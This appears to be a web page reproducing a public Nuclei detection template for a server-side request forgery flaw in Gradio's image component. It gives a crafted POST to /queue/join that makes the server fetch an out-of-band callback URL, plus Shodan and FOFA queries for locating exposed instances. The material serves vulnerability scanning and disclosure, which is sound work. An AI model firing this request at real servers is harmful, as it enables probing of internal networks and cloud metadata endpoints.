gradio-image-ssrf: Gradio Image Component - Server-Side Request Forgery

2025-11-07 Gradio Image Ssrf PoC Public

Description

A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio image component allows an attacker to exploit SSRF using the path value in the `/queue/join` endpoint, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.

PoC

id: gradio-image-ssrf

info:
  name: Gradio Image Component - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio image component allows an attacker to exploit SSRF using the path value in the `/queue/join` endpoint, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.
  reference:
    - https://huntr.com/bounties/e9baeed8-868a-4c1b-882c-715ae0f3072f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gradio_app
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,gradio,ssrf,oast,vuln

http:
  - raw:
      - |
        POST /queue/join? HTTP/1.1
        Host: {{Hostname}}
        content-type: application/json

        {"data":[{"path":"http://{{interactsh-url}}"}],"fn_index":0,"session_hash":"123"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"event_id\":")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 490a0046304402201af56894d7350d6af8587f4982609b5ccc63fad0ad0cad31a1e2a3df7303c69402205ee6142b263eb50d7ad4390d8a6d6e618ad66e16cfdbc3d4884eb704d1eb676c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities